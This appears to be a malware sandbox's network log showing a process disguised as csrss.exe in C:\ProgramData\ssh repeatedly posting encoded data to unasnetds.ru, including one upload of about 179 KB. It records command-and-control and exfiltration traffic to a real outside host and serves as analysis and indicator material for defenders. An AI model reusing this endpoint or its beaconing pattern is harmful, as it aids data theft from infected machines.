Jan 3, 2025 11:47:13.269720078 CET	1040	OUT	Data Raw: 5a 52 5b 5a 58 59 50 59 5a 5d 59 57 59 58 5b 5b 5f 5b 54 58 50 5f 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[ZXYPYZ]YWYX[[_[TXP_[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',,"V"8#7<3>>+^()'P21S 9%,<-). \'%^.8
Jan 3, 2025 11:47:13.364296913 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:13.627306938 CET	805	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=16NdzNDWx0J3voGd7snD%2BvFx3U88a3B6DNgJQMNfmh%2F9np%2BD%2BF65oAUOQdvFDT1Ax5kD3W09hYare0aNoFGhrblE1kaDseCBJ6%2BETaniSzETCMxdLhX%2FAXmn2fJNkhQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268d44e7e4314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3002&min_rtt=1572&rtt_var=3449&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=112204&cwnd=187&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:14.448689938 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:14.799511909 CET	1040	OUT	Data Raw: 5f 56 5b 50 58 59 55 5b 5a 5d 59 57 59 57 5b 57 5f 53 54 5b 50 5b 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V[PXYU[Z]YWYW[W_ST[P[[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-16$#X'.$<(=Z+*/%9R7=2+(Z) \'%^.
Jan 3, 2025 11:47:14.908684015 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:15.160650015 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XshjuKfHMWwVjLR%2BfutVVCLJHBtQMyS2wOd6YdvDT9UHLWiUKQlLvuMM03CmtpqbeFycu%2BAiwQULRM21QnRazp25wc9LQ5wL40XypR%2BkkG016gn17Jb59QbCtV9CeXk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268ddeeac8cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7766&min_rtt=1965&rtt_var=12339&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=30180&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:15.293068886 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:15.643551111 CET	1040	OUT	Data Raw: 5a 54 5b 5c 5d 5f 55 5a 5a 5d 59 57 59 59 5b 55 5f 52 54 55 50 5f 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[\]_UZZ]YWYY[U_RTUP_[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',/V68$70#^'-']<(:9,&=9#1?,<6Z* \'%^.
Jan 3, 2025 11:47:15.756789923 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:16.018631935 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S7R7N7rlmMs6eb1sdLzTlj4aCDx4j0TwPGsffFVdHkzufw067vCcCGgzIJdSld1qVg5DFbflM706LnZSSJQIyVjU%2BNPoF3p%2B3kRmJxXBMeZ1axiq%2FBus7JK50dDFYbw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268e33c0341f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3669&min_rtt=2220&rtt_var=3731&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=105666&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:16.187498093 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:16.564975023 CET	1040	OUT	Data Raw: 5a 55 5e 5a 5d 5b 55 5f 5a 5d 59 57 59 5a 5b 50 5f 53 54 5d 50 5d 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU^Z][U_Z]YWYZ[P_ST]P][\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9?1"8;T ?$0?*)#&#?:V&8+&[)> \'%^.0
Jan 3, 2025 11:47:16.640714884 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:16.915256023 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wOKvsaawM7DE7BuXsJseq3yLRwTVwowxMYmsXb4eEp%2BNReFAxVr31IC%2BVRGdSv9QklPFGedHEgjOrmD2Z%2FsW7R0OjfvCBZxiUaJamfV1SiI1Srl31vqUx9tEb40GPo0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268e8b80a8c8d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3944&min_rtt=1909&rtt_var=4787&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=80237&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:17.558921099 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:17.912229061 CET	1040	OUT	Data Raw: 5f 50 5b 5a 5d 5c 55 58 5a 5d 59 57 59 56 5b 56 5f 5a 54 5a 50 59 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _P[Z]\UXZ]YWYV[V_ZTZPY[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-6";!0,0=4+=\<_<'>-W4)&/(<&* \'%^.
Jan 3, 2025 11:47:18.012811899 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:18.023005009 CET	347	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 179596 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:18.378429890 CET	12360	OUT	Data Raw: 5f 55 5e 5c 5d 5d 55 50 5a 5d 59 57 59 59 5b 52 5f 5a 54 5e 50 5c 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _U^\]]UPZ]YWYY[R_ZT^P\[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$.?S6+T!0;X$Y?:+8%W4Y2U&<#(<6Y*> \'%^.
Jan 3, 2025 11:47:18.390377045 CET	2472	OUT	Data Raw: 26 0b 5c 3d 34 33 25 19 03 22 13 1f 01 34 3a 1d 2a 0d 16 5f 09 20 0d 01 0b 23 02 55 32 20 03 1c 0e 23 1c 23 08 02 4b 38 0b 2b 28 31 0c 33 2f 11 3d 01 2f 26 03 0b 59 57 39 53 58 1b 33 5c 19 16 3e 38 25 34 04 17 56 14 07 3f 20 1b 04 07 28 00 3d 2a Data Ascii: &\=43%"4:_ #U2 ##K8+(13/=/&YW9SX3\>8%4V? (=88!)!<0/1<['X::<?!'#6X)#?$-; %8[; _%0.>?"<^1>'+?_69'-4]]80:0C .#,V.X#<(_06U5):^2!<$; %-.+?&,=9^?9X;6 &3P
Jan 3, 2025 11:47:18.390399933 CET	4944	OUT	Data Raw: 33 01 2b 24 2f 39 57 2e 31 34 05 03 00 30 12 18 0b 56 1c 2d 0b 3e 05 1f 24 39 2c 2e 27 05 50 1a 0e 2b 21 3c 32 5e 2a 1c 24 2d 1e 57 36 03 24 55 30 5b 51 00 28 5c 55 0a 3e 2f 5d 1d 26 22 21 1e 3e 2f 49 5f 21 3f 2b 1e 33 06 06 1c 2f 5b 2f 3a 0c 03 Data Ascii: 3+$/9W.140V->$9,.'P+!<2^$-W6$U0[Q(\U>/]&"!>/I_!?+3/[/:<&3/.."(@3> , 7&QV;V6'8[=,(T''/<TS#;?!4%7\[3,4Y);_',%S5==-0\!9Y=[( ] X.,)+?_$P!"[=0'#\78<X*W7!-:#$
Jan 3, 2025 11:47:18.396090031 CET	4944	OUT	Data Raw: 38 06 01 03 2a 2b 0a 3c 3f 1f 1d 1f 34 3d 00 09 36 33 22 0b 28 42 3e 20 06 08 16 5d 3d 23 1d 12 39 2d 37 21 2b 22 2e 1c 37 54 35 5e 38 2c 4b 37 0c 00 3c 23 39 09 01 55 3c 28 27 18 31 0d 5d 3a 25 24 09 3a 33 5c 2f 19 39 3b 1f 0a 31 38 2c 34 30 13 Data Ascii: 8+<?4=63"(B> ]=#9-7!+".7T5^8,K7<#9U<('1]:%$:3\/9;18,400-7=3&+4B92W%5[0!7(+/4X9>,<:5Z=$=78T!8$]+(5&&#>:Q?X-6^!$89P<>3-9 886(4$3!28/95 <81P6.)8X8P?.]35R2>=Y%2-@
Jan 3, 2025 11:47:18.396703959 CET	4944	OUT	Data Raw: 33 2e 2f 1c 05 13 0a 3b 11 2a 1e 18 06 35 28 2d 36 30 5f 22 2a 2e 12 38 31 32 3a 5e 31 5b 02 59 21 59 0c 5b 3b 2d 34 5e 10 29 59 1b 3a 58 0f 55 0d 03 38 0b 0c 09 20 2e 30 2c 06 32 22 3a 03 17 01 07 2b 1d 24 58 04 51 37 2e 1c 54 3d 2f 0d 02 20 3e Data Ascii: 3./;5(-60_".812:^1[Y!Y[;-4^)Y:XU8 .0,2":+$XQ7.T=/ >;2]3[!!)%+6\SY,B(T#Y0W1["Y$ \-<;/=5.""X<3.RS=-=))W^=Z!#Z((-4<+:41<D?X 674;>+9/27=U*:\7"=+>)#??6?,$?>,S:2">:Y311,
Jan 3, 2025 11:47:18.402640104 CET	2472	OUT	Data Raw: 17 06 3d 1e 37 06 3f 06 2c 5e 1a 3c 35 06 3b 22 33 28 09 19 01 29 5f 1e 37 26 57 02 31 56 0d 14 27 0e 26 27 0a 2c 24 2e 3b 29 20 06 0e 03 0c 19 08 30 5e 2a 3a 3b 04 36 3b 04 2c 17 05 38 30 2e 21 5b 2d 1c 31 3a 2e 36 26 12 26 5a 09 59 03 04 0a 04 Data Ascii: =7?,^<5;"3()_7&W1V'&',$.;) 0^:;6;,80.![-1:.6&&ZY=+)#Z3D=03=+X#\0YP=15_"#3^4Z#=>-&> ;(39089;W>&<43 410\[+34$;^$0=0")[40X.=*6=^-,7>\13!"9^$%=",['Z? =<
Jan 3, 2025 11:47:18.402822971 CET	2472	OUT	Data Raw: 37 5e 1b 36 06 29 34 0b 3f 31 38 05 30 2d 0a 04 2a 00 28 02 30 32 5f 28 20 22 5b 24 32 2c 5f 17 37 3f 58 5a 31 3e 28 58 08 06 31 33 35 07 34 22 27 36 09 5a 02 2d 25 33 22 38 27 52 3c 2f 1a 04 0e 59 12 2c 2b 5c 14 14 01 25 20 2c 0c 3c 0c 36 20 33 Data Ascii: 7^6)4?180-(02_( "[$2,_7?XZ1>(X1354"'6Z-%3"8'R</Y,+\% ,<6 3!=='$ ?:?Y4 %8/Z^&<66;.WZ3">!;4'%'08"Q9?6_#V<6;5%>.<)>?^0R)33-3]9?#;/[50"T)2\1-= / '7&2$!0*$]?<"3=;7
Jan 3, 2025 11:47:18.403362036 CET	2472	OUT	Data Raw: 27 2d 15 58 13 05 3c 2d 2b 35 0d 32 06 5b 33 02 3f 3d 1d 3b 04 2b 2b 58 15 0d 1d 15 23 3d 14 2d 32 2d 0c 14 31 26 31 16 36 21 23 5c 27 31 34 1f 20 5b 5c 21 02 20 26 0e 3f 3d 00 24 25 05 02 1a 3c 28 0e 0d 0a 0a 09 27 0f 38 1a 5c 29 57 03 52 0a 35 Data Ascii: '-X<-+52[3?=;++X#=-2-1&16!#\'14 [\! &?=$%<('8\)WR57Y1Z9+%P(9(71Y0314,6?5!_/Z7">Z1Z =<&:[07';7/-,^9'U8X324")&()/=!$8(S<',/48=[(>:Z/\_:6-!Y#Y#X?9687#&8W29<<?<\
Jan 3, 2025 11:47:18.403415918 CET	4944	OUT	Data Raw: 38 12 52 30 3a 2e 58 15 25 3e 3d 1f 36 06 3b 28 31 16 38 5d 09 3d 3f 58 31 06 33 5a 06 39 0a 19 36 27 2c 32 2e 20 33 5f 27 0e 32 09 0a 58 20 27 33 3a 12 1f 3e 38 3e 12 3f 37 31 15 00 38 5d 59 25 59 3c 37 33 00 12 11 27 12 5d 19 36 28 36 0b 27 59 Data Ascii: 8R0:.X%>=6;(18]=?X13Z96',2. 3_'2X '3:>8>?718]Y%Y<73']6(6'Y>=>?W>'^ -06)]3Q+##?0X/=R;&6WT(2:/U\0(<<-%R7W_:1<6;,1U:P7_5$491\(?'Y7[4<\;&<$<4>7 6X:.0==:!0+;\,,?*,R W.$<#
Jan 3, 2025 11:47:18.409034967 CET	4944	OUT	Data Raw: 25 3c 2a 3b 32 3e 35 2a 25 2c 37 03 20 5a 15 51 35 3a 1d 22 3d 59 27 39 3c 05 23 33 33 04 1a 33 12 33 0a 10 20 23 3e 0a 02 08 14 12 30 1b 00 1a 2b 22 0d 59 3d 54 16 11 3b 00 27 0d 02 20 25 1f 08 20 08 29 27 59 28 21 0c 3a 0a 54 0c 2f 23 2d 08 39 Data Ascii: %<;2>5%,7 ZQ5:"=Y'9<#3333 #>0+"Y=T;' % )'Y(!:T/#-9/[,TS'$/>/;_13;[66>>2X^67@#R;/?((12=X0:..^,(=04,VQ[/#00I^$6:%7),#&/ZY'Y)\]/\383[4:#Z/"WB28822Y0["]0!9&V!=.&':8
Jan 3, 2025 11:47:18.488589048 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:19.539752007 CET	805	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P0PfrYCIUeR3rePOO%2Byrpupy9PzjX8%2BGSuTahPjICsAc32uiAej7o5Y6BonVkGKbCDXG1DN62akn4UEcqfsyqEfCw2f7rJS%2B1wnAHETRQEyywyyuCplZ5h0gXv2X47M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268f44c1a433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=1554&rtt_var=1579&sent=104&recv=185&lost=0&retrans=0&sent_bytes=25&recv_bytes=179943&delivery_rate=263537&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0
Jan 3, 2025 11:47:19.540103912 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:19.644047976 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:20.072840929 CET	807	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=68YEAnk0d2aZwNZBoUl0lpk1Vz8zH9Pd4wnIFQCX9CvCqy0sVb5VeyYR8q0wxl89vKh7gVa4EE2ziVdW2WqlV7E6%2BIJ%2BQ9K40tKDVveJjQoIGaV%2F4FAnGZI1hFTrxCQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268fb78a1433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3715&min_rtt=1535&rtt_var=4415&sent=109&recv=189&lost=0&retrans=0&sent_bytes=855&recv_bytes=181304&delivery_rate=1831869&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:18.032859087 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:18.378140926 CET	1756	OUT	Data Raw: 5a 55 5b 50 5d 58 55 5a 5a 5d 59 57 59 56 5b 51 5f 50 54 59 50 5b 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[P]XUZZ]YWYV[Q_PTYP[[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]-."]'#3/'.$((_<%=4<9%Y8Y?<!) \'%^.
Jan 3, 2025 11:47:18.498951912 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:18.760870934 CET	952	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NmXXw4M%2BycXZPMb095lJATZfjG%2F1gYSf0j5CClN0OPgw%2BscSiCAssb6ugGbu6pSunX0bbGvDf3%2FOwP0ktD0TU1seopiinFEWtA4h8I5p%2BE81ATbCaXktrzcuqZWf93Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268f45d911a3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8296&min_rtt=1972&rtt_var=13389&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=27772&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 00 20 00 2f 12 27 2a 2c 0f 24 03 22 08 21 09 26 58 2d 29 2d 5a 30 12 37 56 2a 39 38 0b 27 59 21 10 2a 38 26 09 32 12 04 01 31 39 2e 59 0d 11 3b 02 2b 05 37 51 29 00 33 0e 2b 3c 30 08 26 2c 28 13 2a 05 38 05 3c 0b 23 0c 20 01 1c 08 3e 32 35 54 2b 34 04 02 29 31 2c 02 25 25 2c 5e 0b 12 24 53 28 22 3a 0d 23 57 25 5e 25 3d 3b 14 33 2a 05 1e 21 0d 02 18 27 2b 3f 07 2f 0c 0b 19 31 51 27 02 28 38 3f 06 22 3b 2e 18 3c 07 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98" /',$"!&X-)-Z07V98'Y!8&219.Y;+7Q)3+<0&,(8<# >25T+4)1,%%,^$S(":#W%^%=;3*!'+?/1Q'(8?";.<'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:20.390685081 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:20.738571882 CET	1040	OUT	Data Raw: 5a 5c 5b 58 58 59 55 5a 5a 5d 59 57 59 56 5b 52 5f 5a 54 5b 50 58 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[XXYUZZ]YWYV[R_ZT[PX[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]-6(,#3_';\+&<:;1" ='< _(& \'%^.
Jan 3, 2025 11:47:20.819181919 CET	25	IN	HTTP/1.1 100 Continue
